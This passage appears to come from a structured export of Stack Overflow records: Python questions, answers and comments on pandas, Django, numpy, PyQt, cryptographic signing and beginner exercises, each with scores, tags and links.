self.edit = QtGui.QLineEdit(self) layout = QtGui.QVBoxLayout(self) layout.addWidget(self.graphicsLabel) layout.addWidget(self.edit) layout.addWidget(self.graphicsView) def eventFilter(self, source, event): if (ev…
tagged with: eventfilter

python-unicode
tags question: http://stackoverflow.com/q/47342838
type: Tag
tags question: http://stackoverflow.com/q/47318639
tag name: python-unicode

http://stackoverflow.com/comment/81582163
has text: Also, I just had a little change in mind, if the highest score is duplicating with a number but this number does not duplicate with the second highest, it would just output "No tiebreaker sys required".
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47315345
type: Comment

http://stackoverflow.com/comment/81597542
has text: you could confirm this by writing log to a file, and check the return value of `app.poll()` is 0 or -15, 0 means a normal exit and the signal handler worked.
comment on: http://stackoverflow.com/q/47306805
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81461670
has text: @MichaelButscher why not make that into an actual answer?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47255281
score: 0

http://stackoverflow.com/comment/81559434
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47297850
has text: Beautiful ! Would you mind explaining why you added a 'None' argument in the apply method ? Anyway, thank you very much @piRSquared, it's really helpful.
score: 0

http://stackoverflow.com/q/47297625
has comment: http://stackoverflow.com/comment/81546774
has body: As I said before I'm a beginner trying to learn Python in a college course, but what they teach us, doesn't always apply to the real world, and when I try to research a solution, there's nothing to be found. Anyway my latest problem is: This is a tricky challenge for you. We will pass in a value N. N can be positive or negative. If N is positive then output all values from N down to and excluding 0. If N is negative, then output every value from N up to and excluding 0. and the starting code is: # Get N from the command line import sys N = int(sys.argv[1]) # Your code goes here counter = 0 while counter &lt;= N: print(counter) counter = counter + 1 elif counter &gt;= N: print(N+counter) counter = counter - 1 My solution produced an error: SyntaxError: unexpected EOF while parsing There is an error is your program. And I honestly don't know where to start, as our textbook doesn't cover these challenges. Thanks in advance for any assistance rendered in this matter. BTW my code is inputted in Codio, and must pass in Codio's IDE.
tagged with: python
has answer: http://stackoverflow.com/a/47297651
type: Question
has comment: http://stackoverflow.com/comment/81546673
answer count: 2
has comment: http://stackoverflow.com/comment/81546676
has answer: http://stackoverflow.com/a/47298076
has title: If N is positive then output all values from N down to and excluding 0. If N is negative, then output every value from N up to and excluding 0
upvote count: 0
type: UnansweredQuestion
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/81546723
favorite count: 0

constraints
type: Tag
tags question: http://stackoverflow.com/q/47226481
tag name: constraints
tags question: http://stackoverflow.com/q/47342740

http://stackoverflow.com/comment/81714491
has text: If your code is too large to be part of the question.. then, well, the code is too large for the question and hence not a [mcve] of the issue. If you have problems removing an artist from the canvas I'm sure it will only cost you 20 lines of code to reproduce this such that people are able to help.
type: QuestionComment
comment on: http://stackoverflow.com/q/47376050
score: 0
type: Comment

http://stackoverflow.com/a/47230625
type: Answer
score: 4
upvote count: 4
has comment: http://stackoverflow.com/comment/81411860
answers question: http://stackoverflow.com/q/47230546
downvote count: 0
has comment: http://stackoverflow.com/comment/81411896
has body: There's a transpose error with your mask, but assuming you want to replace the values with NaN, the method you're looking for is where: In [11]: df.T &gt; rowsQuantiles Out[11]: 0 1 2 3 4 5 6 A True True False False False True True B False False False True True False False In [12]: (df.T &gt; rowsQuantiles).T Out[12]: A B 0 True False 1 True False 2 False False 3 False True 4 False True 5 True False 6 True False In [13]: df.where((df.T &gt; rowsQuantiles).T) Out[13]: A B 0 5.0 NaN 1 6.0 NaN 2 NaN NaN 3 NaN 5.0 4 NaN 7.0 5 5.0 NaN 6 9.0 NaN

http://stackoverflow.com/a/47309586
has comment: http://stackoverflow.com/comment/81569691
has body: Try this: import pandas as pd filename = 'train4.csv' names = ['attribut names are here'] target_col_name = 'name_of_your_target_column' df = pd.read_csv(filename, names=names) num_folds = 10 kfold = KFold(n_splits=10, random_state=7) model = KNeighborsClassifier() results = cross_val_score(model, df.drop(target_col_name, axis=1), df[target_col_name], cv=kfold) print(results.mean())
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81569635
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47309376
has comment: http://stackoverflow.com/comment/81569522
has comment: http://stackoverflow.com/comment/81569557
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/47309376

http://stackoverflow.com/q/47284758
has body: If I write my function f as this: def f(a, b, c, d = 4, e = 5, f = 6): print(a, b, c, d, e, f) I can call it normally with positional arguments: f(1, 2, 3) And I can also call it using the positional arguments as keyword arguments: f(c=3, a=1, b=2) However, if I do that with the print function, I get an error: &gt;&gt;&gt; print(value=42) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: 'value' is an invalid keyword argument for this function I tried to use value as keyword because it was what it showed me when I did help(print): Help on built-in function print in module builtins: print(...) print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False) Prints the values to a stream, or to sys.stdout by default. Optional keyword arguments: file: a file-like object (stream); defaults to the current sys.stdout. sep: string inserted between values, default a space. end: string appended after the last value, default a newline. flush: whether to forcibly flush the stream. edit: Now I understand the *objects and I get that print is looking for a tuple of values. The pow function illustrates what I ask better: &gt;&gt;&gt; pow(x=2, y=3) Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: pow() takes no keyword arguments Why can't I never seem to refer to the parameters by their names if I use python functions? As I showed above it worked for my f function.
upvote count: 5
has comment: http://stackoverflow.com/comment/81519667
tagged with: python
has comment: http://stackoverflow.com/comment/81520168
score: 2
has comment: http://stackoverflow.com/comment/81519825
has comment: http://stackoverflow.com/comment/81519441
type: UnansweredQuestion
has title: why is it not possible to use value as keyword argument in print function?
answer count: 1
downvote count: 3
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47286315
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/100170535
linked to: http://stackoverflow.com/q/36901
linked to: http://stackoverflow.com/q/55970072

http://stackoverflow.com/a/47350359
type: AcceptedAnswer
upvote count: 1
has body: No need to rebuild the entire list from scratch just to do it in a one-line comprehension while unnecessarily iterating the inner lists. Just modify the elements that need modifying: for lst in final_list: lst[1] = lst[1][2:]
accepted answer of: http://stackoverflow.com/q/47350243
has comment: http://stackoverflow.com/comment/81652708
answers question: http://stackoverflow.com/q/47350243
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/81678018
comment on: http://stackoverflow.com/q/47362508
type: Comment
type: QuestionComment
score: 0
has text: so, @art, what is "the second largest" in your example, [-3, 3, -3, 3]? Is it 3, or -3?

http://stackoverflow.com/comment/81408261
score: 0
has text: you can not install python on anaconda? or you can not install pygame on anaconda?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47228458

http://stackoverflow.com/comment/81437198
score: 0
has text: Are the fast and slow executions randomly spread across the dataframe or in some known distribution? Have you seen the bokehjs monitor that would help to visualize your answer (albeit after execute)? As for your questions I would say yes and yes though I honestly have not dealt with very large differences in execution time.
comment on: http://stackoverflow.com/q/47242819
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47274652
has answer: http://stackoverflow.com/a/47274936
tagged with: python
has title: Upload files to same random folder in django
has comment: http://stackoverflow.com/comment/81500883
has body: I am uploading two files using django rest framework, i want to upload these two files into the same folder and create said folder with a random name. So far I can upload both files to different random folders using the following: from uuid import uuid4 def path_and_rename(path, dataset): def wrapper(instance, filename): main_folder = '{}/{}/'.format(path, uuid4().hex) name = '{}.csv'.format(dataset) return os.path.join(main_folder, name) return wrapper class Dataset(Model): trainFile = FileField(null=False, blank=False, validators=[FileExtensionValidator(['csv'])], upload_to=path_and_rename('files/', 'train')) testFile = FileField(null=False, blank=False, validators=[FileExtensionValidator(['csv'])], upload_to=path_and_rename('files/', 'test')) class DatasetSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Dataset fields = ( 'id', 'trainFile', 'testFile', ) read_only_fields = ('created',) How could I get both files to be uploaded to the same random folder?
type: AnsweredQuestion
score: 0
answer count: 2
tagged with: django
tagged with: django-rest-framework
accepted answer: http://stackoverflow.com/a/47274998
type: Question
has answer: http://stackoverflow.com/a/47274998
possible better answer: http://stackoverflow.com/a/47274936

http://stackoverflow.com/comment/81622647
type: AnswerComment
comment on: http://stackoverflow.com/a/47320720
type: Comment
score: 0
has text: Typically you get the invalid value for cast when the csv file is parsed incorrectly and cast of type from csv to database column is incorrect. Another frequent error is with String truncation if the size of the data for a column in csv is larger than database column size. As long as data type in csv matches schema and the parsing of csv matches the columns correctly you should be good. The -e option logs errors. You can check the error file to see the rows that failed.

http://stackoverflow.com/q/47376677
upvote count: 1
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81710267
favorite count: 0
tagged with: idioms
type: Question
has title: Return `bytes` or `bytearray` when processing chunks of binary data?
tagged with: python
type: UnansweredQuestion
has body: When returning/yielding chunks of binary data, is it more idiomatic to return bytes or bytearray? My function accumulates data in a bytearray and currently returns bytes(myarray). Are there any reasons for or against returning just the bytearray directly? In particular, if a function expects bytes and gets bytearray, are there any possible pitfalls (as long as it doesn't check the actual type)? According to the documentation of bytearray: It has most of the usual methods of mutable sequences, described in Mutable Sequence Types, as well as most methods that the bytes type has, see Bytes and Byte Array Methods. (My emphasis.) This suggests that bytearray can be used in any place that where bytes is expected.
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47376833
tagged with: arrays
downvote count: 0

http://stackoverflow.com/comment/81408179
has text: This previous SO question and answer may be helpful. https://stackoverflow.com/questions/739993/how-can-i-get-a-list-of-locally-installed-python-modules
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47225028

http://stackoverflow.com/a/72498074
score: 0
answers question: http://stackoverflow.com/q/47223564
type: Answer
has body: works like that from Crypto.PublicKey import DSA from Crypto.Signature import DSS from Crypto.Hash import SHA256 import base64 # Create a new DSA key key = DSA.generate(2048) f = open("public_key.pem", "w") f.write(base64.b64encode(key.publickey().export_key()).decode("utf-8") ) f.close() # Sign a message message = b"Hello" hash_obj = SHA256.new(message) signer = DSS.new(key, 'fips-186-3') signature = signer.sign(hash_obj) # Load the public key f = open("public_key.pem", "r") hash_obj = SHA256.new(message) pub_key = DSA.import_key(base64.b64decode(f.read())) verifier = DSS.new(pub_key, 'fips-186-3') # Verify the authenticity of the message try: verifier.verify(hash_obj, signature) print("The message is authentic.") except ValueError: print("The message is not authentic.")

http://stackoverflow.com/q/47252394
tagged with: python-3.x
has title: WSL python3 ModuleNotFoundError: No module named xxx
upvote count: 2
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48129500
has comment: http://stackoverflow.com/comment/120564748
accepted answer: http://stackoverflow.com/a/48129500
tagged with: windows-subsystem-for-linux
score: 2
type: AnsweredQuestion
answer count: 1
favorite count: 0
has body: I am using python 3.6.2 on WSL (Windows Linux subsystem) and trying to set tensorflow environment (and installing some other libraries as well). However, i always get an error when I exit and login again: ModuleNotFoundError: No module named 'tensorflow' So I have to reinstall the libraries again and the problem will be fixed until I logout again. This problem only happens with my python3. I also tried python3 and use import tensorflow to find the library, but it also returned the same error. I think the problem may be related with system path because python cannot find the library in its original searching directory. when i enter sys.path it returns: ['', '/home/jeoker/anaconda3/lib/python36.zip', '/home/jeoker/anaconda3/lib/python3.6', '/home/jeoker/anaconda3/lib/python3.6/lib-dynload', '/home/jeoker/anaconda3/lib/python3.6/site-packages'] But when I do conda list, the result always show the files in /home/jeoker/anaconda2. I tried sudo pip3 install tensorflow, but it gived me this: Requiement already satisfied. It seems that the path where the libraries are installed is not the same as where python is looking into. Does anyone know how can I fix this problem? thanks in advance!!
type: Question

http://stackoverflow.com/comment/81502188
type: Comment
type: AnswerComment
score: 1
has text: The Qt documentation is very good so I recommend you read it.
comment on: http://stackoverflow.com/a/47275387

http://stackoverflow.com/q/47273442
favorite count: 0
has answer: http://stackoverflow.com/a/47273516
has comment: http://stackoverflow.com/comment/81498127
type: AnsweredQuestion
has title: Python | find method
has body: def count_substring(string, sub_string): count = 0 for i in range(0 , len(string)): if ( string[i: ].find(sub_string)) == True: count = count +1 return count STRING = 'ininini' SUB_STRING = 'ini' CORRECT OUTPUT : 3 MY OUTPUT : 2 it is not detecting the last substring.
score: -2
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/47273516
upvote count: 0
downvote count: 2
answer count: 1

http://stackoverflow.com/a/47358367
downvote count: 0
score: 3
has comment: http://stackoverflow.com/comment/81681118
has body: No. Windows Installer's implementation of SQL is fairly limited. All that's available is the option to call MsiViewFetch repeatedly until it returns ERROR_NO_MORE_ITEMS. Once you have retrieved all the records, it will do so. It is up to you to track the count along the way, and also properly handle all returned objects. (For example, each successfully returned record must be closed with MsiCloseHandle, and in unusual circumstances the view itself may need to be closed with MsiViewClose.) As noted, this may be expressed differently in different languages that wrap it. For example, the Windows Installer Automation Interface's View.Fetch method returns Nothing if you have already retrieved all the records. Cleaning up resources will typically have been altered to use the conventions of the language in question as well. In particular, Python's msilib is a wrapper of Windows Installer functionality that was implemented specifically to support creating Python's own installers. Because it wasn't intended for general purpose use, it lacks some of the creature comforts of other wrappers. You can see that the implementation of View.Fetch turns any non-success return code into an MSIError, and ERROR_NO_MORE_ITEMS is not ERROR_SUCCESS. So for your usage, you will have to catch MSIError and either hope it's for ERROR_NO_MORE_ITEMS, or check the exception's string for the 103 embedded within.
has comment: http://stackoverflow.com/comment/81681369
type: Answer
has comment: http://stackoverflow.com/comment/81671223
has comment: http://stackoverflow.com/comment/81671635
answers question: http://stackoverflow.com/q/47351190
upvote count: 3

http://stackoverflow.com/q/47377230
linked to: http://stackoverflow.com/q/11142851
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47378341
tagged with: filter
tagged with: python-imaging-library
downvote count: 0
upvote count: 1
score: 1
tagged with: image-processing
tagged with: image
favorite count: 0
has answer: http://stackoverflow.com/a/51273341
type: Question
has body: from PIL import Image fp="C:\\lena.jpg" img=Image.open(fp) w,h=img.size pixels=img.load() imgsharp=Image.new(img.mode,img.size,color=0) sharp=[0,-1,0,-1,8,-1,0,-1,0] for i in range(w): for j in range(h): for k in range(3): for m in range(3): l=pixels[i-k+1,j-m+1]*sharp[i] if l&gt;255: l=255 elif l&lt;0: l=0 imgsharp.putpixel((i,j),l) imgsharp.show() I want to apply a high pass (sharpening) filter with 3x3 mask size to a grayscale image. But I am getting an error: Traceback (most recent call last): File "C:\sharp.py", line 16, in &lt;module&gt; l=pixels[i-k+1,j-m+1]*sharp[i] IndexError: image index out of range How can I fix my mistake and how can I get the image sharpening to work in this code?
has title: Error with image sharpening in Python
answer count: 2

http://stackoverflow.com/comment/81455370
type: QuestionComment
comment on: http://stackoverflow.com/q/47251225
has text: Do you want to empty the space taken by the data not being there, or do you want to remove the ticklabels at those positions that do not have any data associated? Also note that you would increase your chances of obtaining a satisfying answer dramatically by supplying a [mcve] with some that can be used to show a possible solution.
type: Comment
score: 0

http://stackoverflow.com/comment/81421018
comment on: http://stackoverflow.com/a/47235212
has text: Better to call your function after validating the input I think
type: Comment
type: AnswerComment
score: 0

excel
tags question: http://stackoverflow.com/q/47237584
tags question: http://stackoverflow.com/q/47312895
tags question: http://stackoverflow.com/q/47326068
tags question: http://stackoverflow.com/q/47259855
tags question: http://stackoverflow.com/q/47245529
tags question: http://stackoverflow.com/q/47309296
tags question: http://stackoverflow.com/q/47226952
tags question: http://stackoverflow.com/q/47223771
tags question: http://stackoverflow.com/q/47322680
tags question: http://stackoverflow.com/q/47245157
tags question: http://stackoverflow.com/q/47234997
tags question: http://stackoverflow.com/q/47273258
tags question: http://stackoverflow.com/q/47283342
tags question: http://stackoverflow.com/q/47298208
tags question: http://stackoverflow.com/q/47228362
tags question: http://stackoverflow.com/q/47235869
tag name: excel
tags question: http://stackoverflow.com/q/47377522
tags question: http://stackoverflow.com/q/47289092
tags question: http://stackoverflow.com/q/47324773
tags question: http://stackoverflow.com/q/47258135
tags question: http://stackoverflow.com/q/47319322
type: Tag
tags question: http://stackoverflow.com/q/47350014
tags question: http://stackoverflow.com/q/47226573
tags question: http://stackoverflow.com/q/47257355
tags question: http://stackoverflow.com/q/47302328
tags question: http://stackoverflow.com/q/47340616
tags question: http://stackoverflow.com/q/47330674
tags question: http://stackoverflow.com/q/47374911
tags question: http://stackoverflow.com/q/47225863
tags question: http://stackoverflow.com/q/47261775
tags question: http://stackoverflow.com/q/47354979
tags question: http://stackoverflow.com/q/47382048
tags question: http://stackoverflow.com/q/47321639
tags question: http://stackoverflow.com/q/47232843
tags question: http://stackoverflow.com/q/47249417
tags question: http://stackoverflow.com/q/47337945
tags question: http://stackoverflow.com/q/47287340
tags question: http://stackoverflow.com/q/47364961
tags question: http://stackoverflow.com/q/47324507
tags question: http://stackoverflow.com/q/47288890
tags question: http://stackoverflow.com/q/47324862
tags question: http://stackoverflow.com/q/47368573
tags question: http://stackoverflow.com/q/47332121
tags question: http://stackoverflow.com/q/47246158
tags question: http://stackoverflow.com/q/47300007
tags question: http://stackoverflow.com/q/47325479

http://stackoverflow.com/a/47265397
upvote count: 4
accepted answer of: http://stackoverflow.com/q/47263637
has body: The problem is that you can't use{{ }} inside another template tag. You can, however, concatenate the string and the variable color inside a template tag like this: Method #1: Using the ~ symbol. From Jinja2's docs, it converts the variables into strings and concatenates them. {% set tag = "&lt;img src='" ~ color ~ ".png' /&gt;" %} OR Method #2: Using the format filter: {% set tag = "&lt;img src='%s.png' /&gt;"|format(color) %}
downvote count: 0
answers question: http://stackoverflow.com/q/47263637
type: AcceptedAnswer
score: 4
type: Answer

http://stackoverflow.com/comment/81433551
comment on: http://stackoverflow.com/q/47241549
type: Comment
type: QuestionComment
has text: The package at PyPI was last updated in 2015. https://pypi.python.org/pypi/builtwith/1.3.2
score: 1

http://stackoverflow.com/q/47287046
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81524271
has comment: http://stackoverflow.com/comment/81524140
has comment: http://stackoverflow.com/comment/81524502
type: UnansweredQuestion
tagged with: function
upvote count: 1
has title: String length counting with exceptions [Python]
tagged with: string
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81524528
tagged with: conditional-statements
has comment: http://stackoverflow.com/comment/81524213
linked to: http://stackoverflow.com/q/23294658
tagged with: exception
tagged with: python
has comment: http://stackoverflow.com/comment/81524424
duplicate of: http://stackoverflow.com/q/23294658
has body: I've just started learning python. I came across this excercise: Ask a user to input a value, if it's a string count it's length, if it's an int or a float, return a sentece, and ask them to input a string instead if ints and floats. I came up with this: def string_length(mystring): return len(mystring) mystring = input("Enter your string to count: ") if type(mystring) == int: print("You must input a string, integers don't have length!") elif type(mystring) == float: print("You must input a string, floats don't have length!") else: print(string_length(mystring)) the problem is that it counts the characters of ints and floats as well like this: Enter your string to count: 111 3 Process finished with exit code 0 i'm using pycharm and the prebuilt "command line" i'm not executing the program by running it normally.
type: Question

http://stackoverflow.com/a/47288798
type: Answer
has body: Generic solution if you dont want to specify which sequences of characters to look for. def count_unique_chars(string): char_count = {} char = '' for pair in zip(list(string), list(string[1:]) + [None]): char += pair[0] if pair[0] == pair[1]: continue else: if char in char_count.keys(): char_count[char] += 1 else: char_count[char] = 1 char = '' return char_count Outputs a dict with the count of unique chars. count_unique_chars('001101') {'0': 1, '00': 1, '1': 1, '11': 1} or count_unique_chars('001101011000100111101000') {'0': 3, '00': 2, '000': 2, '1': 3, '11': 2, '1111': 1} count_unique_chars('hello world') {' ': 1, 'd': 1, 'e': 1, 'h': 1, 'l': 1, 'll': 1, 'o': 2, 'r': 1, 'w': 1}
score: 0
answers question: http://stackoverflow.com/q/47286816

http://stackoverflow.com/q/47379053
score: 13
accepted answer: http://stackoverflow.com/a/47821636
has body: I had met an error code by following the video tutorial of sentdex. When i want to plot a bar graph on ax2 for my Volume, however, it give me error code as listed at the topic. Please help. I am new in Python 0 experience in programming. import datetime as dt import matplotlib.pyplot as plt from matplotlib import style import pandas as pd import pandas_datareader.data as web style.use('ggplot') df = pd.read_csv('C:\\Users\\ngjun95\\Downloads\\7120.KL.csv', parse_dates=True, index_col=0) df['100ma'] = df['Adj Close'].rolling(window=100, min_periods=0).mean() print(df.head()) ax1 = plt.subplot2grid((6,1), (0,0), rowspan=5, colspan=1) ax2 = plt.subplot2grid((6,1), (5,0), rowspan=1, colspan=1, sharex=ax1) ax1.plot(df.index, df['Adj Close']) ax1.plot(df.index, df['100ma']) ax2.bar(df.index, df['Volume']) plt.show()
type: Question
tagged with: finance
tagged with: python
has answer: http://stackoverflow.com/a/66946609
upvote count: 13
has title: TypeError: ufunc subtract cannot use operands with types dtype('<M8[ns]') and dtype('float64')
has answer: http://stackoverflow.com/a/47821636
type: AnsweredQuestion
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/66946609
favorite count: 0

http://stackoverflow.com/comment/81617381
has text: Yes, integration of sampled data (trapz, simps, romb) is not going to be as accurate as `quad` which strategically chooses evaluation points based on the function itself. I ran some [experiments](https://calculus7.org/2017/01/07/vectorization-of-integration/) which show using `quad` in for-loop as a clear winner over vectorized non-adaptive methods..
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47228361

http://stackoverflow.com/a/47375583
score: 4
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/47375527
has body: One application (don't know whether it is "practical" enough) is to determine the digits comprising an integer: n = 12345 while n: n, r = divmod(n, 10) print(r) Output: 5 4 3 2 1 Here the quotient is assigned back to n effectively stripping off the last digit which is available in the remainder, r.
downvote count: 0

http://stackoverflow.com/comment/122778885
comment on: http://stackoverflow.com/a/63049009
score: 3
has text: Raj spot on with Number 3 for me, I posted a more in depth answer here as there were other things to look out for as the site that made some changes to block headless also did not work properly in earlier versions of Chrome: https://stackoverflow.com/a/69464060/1871891
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81414698
type: Comment
has text: So i changed `add(a,a)` in mult to `a = add(a,a)` which still returns 4, and when i did ``a = a + add(a,a)` it still returns 4. Why isnt it changing the value of a at all?
comment on: http://stackoverflow.com/a/47231913
type: AnswerComment
score: 0

routes
type: Tag
tags question: http://stackoverflow.com/q/47264674
tag name: routes

http://stackoverflow.com/comment/81629595
comment on: http://stackoverflow.com/q/47338547
score: 0
type: Comment
type: QuestionComment
has text: also note (in the linked question) that deque is smarter than a simple double ended list. Is uses blocks, so it's better than O(n).

http://stackoverflow.com/comment/82028048
type: AnswerComment
has text: Now it doesn't return any error but still, the file doesn't uploaded to storage bucket!
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47530866

http://stackoverflow.com/comment/81586553
type: Comment
has text: @nfnneil I was talking about the `count()` method time complexity. I forgot to write `count()`. You are right. `else` block time complexity is O(n^2) in the worst case scenario.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47317108

http://stackoverflow.com/q/47254262
tagged with: python
has title: How to detect sentence type using python
score: 0
has body: I want to detect sentence type preferably with python. For example, given a sentence, the program can detect whether a sentence is a question, or an assertion/statement, or a command etc. This is different from sentiment/happiness analysis. Is there any tool/new research paper that works reasonably well to do that? Note: I do not have labeled data to train libraries, what I want is a already built model. Thank
answer count: 3
has answer: http://stackoverflow.com/a/47254585
tagged with: nlp
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47254318
upvote count: 2
has answer: http://stackoverflow.com/a/74935622
type: UnansweredQuestion
tagged with: classification
downvote count: 2
tagged with: machine-learning

http://stackoverflow.com/q/47331021
has comment: http://stackoverflow.com/comment/81613112
tagged with: python
tagged with: boolean-logic
has body: The question "Why do I get an invalid value ..." has been discussed a few times already. Here is another variant which I don't quite understand yet - this is why I am opening this thread: (1) in y = np.nan (~np.isnan(y)) &amp; (y &gt; 5.) I get the correct result and no error is thrown. (2) However, in y = np.array([np.isnan, 6.]) (~np.isnan(y)) &amp; (y &gt; 5.) the "Invalid value encountered in greater" warning is shown. This means that the short-circuiting (Python reference) in the boolean and expression does not work if this expression is used with numpy arrays. Digging a bit on stackoverflow (e.g. ref ) and elsewhere it seems that under the hood the array expression is written as np.logical_and.reduce([~np.isnan(y), y&gt;5.]) This means that both expressions are first evaluated for all elements before they are combined (indeed, this produces the same warning). Could someone please confirm that this is what is happening? And does anyone have asolution for this problem other than looping over all array elements? The context I am using this expression in is to set additional values in an array to nan if they exceed a threshold, i.e. the actual code has something like y[(~np.isnan(y)) &amp; (y &gt; 5.)] = np.nan
type: AnsweredQuestion
score: 0
tagged with: short-circuiting
has answer: http://stackoverflow.com/a/47331447
has comment: http://stackoverflow.com/comment/81614903
linked to: http://stackoverflow.com/q/33384529
has title: Invalid value encountered in greater - numpy array logic
type: Question
tagged with: numpy
answer count: 2
accepted answer: http://stackoverflow.com/a/47331447
has answer: http://stackoverflow.com/a/47331300
possible better answer: http://stackoverflow.com/a/47331300

http://stackoverflow.com/a/47343898
answers question: http://stackoverflow.com/q/47343838
upvote count: 6
has body: Just update the columns attribute: df.columns = list_of_names
downvote count: 0
score: 6
type: Answer

http://stackoverflow.com/a/50570054
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47319532
has body: I would like to propose an alternative solution to Charles Pehlivanian. To forbid transitions between certain pairs of nodes you could try to make them too expensive for them to appear in an assignment. First compute a upper bound on the most expensive route that visits all stops. For example the greatest distance among all edges time the number of stops: penalty = len(locations) * max(distance(x,y) for x,y in edges) Then set the value of forbidden transitions in the matrix to that value: if forbidden(from_node, to_node): self.matrix[from_node][to_node] = penalty else: self.matrix[from_node][to_node] = distance(x1, y1, x2, y2)
score: 1
downvote count: 0

http://stackoverflow.com/q/47259361
downvote count: 3
has body: I have a target list as target_list = ['one', 'two', 'three','four', 'five'] And a output list as output_list = ['two','three','four', 'five'] The target_list is fixed, while the output_list will change depending on the output of some function. I want to find which element will be missed in the target_list based on the observation from output_list. As in the above example, the element one is missing. I also want to count the number of missing element. Could you help me to do it in python?
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47259696
has title: How to find missing elements in a list?
upvote count: 2
has answer: http://stackoverflow.com/a/47259526
tagged with: python-2.7
possible better answer: http://stackoverflow.com/a/47259526
answer count: 3
has answer: http://stackoverflow.com/a/47259397
accepted answer: http://stackoverflow.com/a/47259397
has comment: http://stackoverflow.com/comment/81469319
favorite count: 0
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3462143

http://stackoverflow.com/comment/81430218
comment on: http://stackoverflow.com/q/47239716
has text: i cant edit the question :(
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47373789
downvote count: 0
has comment: http://stackoverflow.com/comment/81709345
has comment: http://stackoverflow.com/comment/81708107
has comment: http://stackoverflow.com/comment/82280792
answers question: http://stackoverflow.com/q/47373255
has comment: http://stackoverflow.com/comment/81708088
has comment: http://stackoverflow.com/comment/81717135
type: Answer
has comment: http://stackoverflow.com/comment/81704400
has comment: http://stackoverflow.com/comment/81717326
has comment: http://stackoverflow.com/comment/114525706
has comment: http://stackoverflow.com/comment/81710891
has comment: http://stackoverflow.com/comment/81709340
has body: No, Python supplies no way to reverse the bit order - but you don't need to. The article made you overly paranoid ;-) The endianness of byte order is normally invisible to software. If, e.g., you read a 2-byte short in C, the underlying hardware delivers a big-endian result regardless of the physical storage convention. Store 258 (0x0102) and you read 258 back, regardless of the storage's physical byte order. The only way you can tell the difference is to read (or write) part of an N-byte value in a chunk of less than N bytes. That's common enough in network protocols and portable storage formats, but rare outside those. Similarly, the only way you could detect the endianness of physical bit order is if the machine were bit-addressable, so you could read one bit at a time directly. I don't know of any current machine that supports bit addressing, and even if there were such a beast C supports no direct bit-level access anyway. If you read a byte at time, the hardware will deliver the bytes in big-endian bit order again regardless of the physical bit storage order. If, e.g., you're poking a bit at a time into a bit-level serial port, then you'll need to know the convention the specific hardware requires. But in that case struct.pack() is useless anyway - the smallest unit struct.pack() manipulates is a byte, and at that level hardware bit-level ordering is invisible. For example, your struct.pack('B', 1) will unpack as 1 regardless of the bit-level endianness of the machine you run it on. Bits of Code Since "general principles" don't seem to be enough here, and there was no specific code presented to work with, here are bits of code that may be useful. As mentioned in a comment, if you want to reverse a byte's bit order, the simplest and fastest way is to precompute a list with 256 items, mapping a byte to its bit-reversed value: br = [int("{:08b}".format(i)[::-1], 2) for i in range(256)] assert sorted(br) == list(range(256)) Then, e.g., &gt;&gt;&gt; br[0], br[1], br…
score: 5
has comment: http://stackoverflow.com/comment/81710570
upvote count: 5

http://stackoverflow.com/a/47333947
type: Answer
score: 4
upvote count: 4
answers question: http://stackoverflow.com/q/47333771
has comment: http://stackoverflow.com/comment/81619329
has comment: http://stackoverflow.com/comment/98006310
downvote count: 0
has body: Here is a quick sorting solution: s = ['SGALWDV', 'GALWDVP', 'ALWDVPS', 'LWDVPSP', 'WDVPSPV'] new_s = sorted(s, key=lambda x:s[0].index(x[0])) a = new_s[0] b = new_s[-1] final_s = a[:a.index(b[0])]+b Output: 'SGALWDVPSPV' This program sorts s by the value of the index of the first character of each element, in an attempt to find the string that will maximize the overlap distance between the first element and the desired output.
has comment: http://stackoverflow.com/comment/81619423
has comment: http://stackoverflow.com/comment/81620001

http://stackoverflow.com/comment/81513350
type: Comment
has text: Yes, this is easy. The answer you link to is excellent already, what was your attempt at applying it?
comment on: http://stackoverflow.com/q/47281490
type: QuestionComment
score: 1

http://stackoverflow.com/q/47357198
has comment: http://stackoverflow.com/comment/81667466
tagged with: dataframe
has comment: http://stackoverflow.com/comment/81667677
tagged with: python
has answer: http://stackoverflow.com/a/47357998
possible better answer: http://stackoverflow.com/a/47357659
has title: Pandas: sum values in column if multiple values match str/contains/join
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/47357659
linked to: http://stackoverflow.com/q/17841149
accepted answer: http://stackoverflow.com/a/47357998
type: Question
score: 0
tagged with: pandas
tagged with: sum
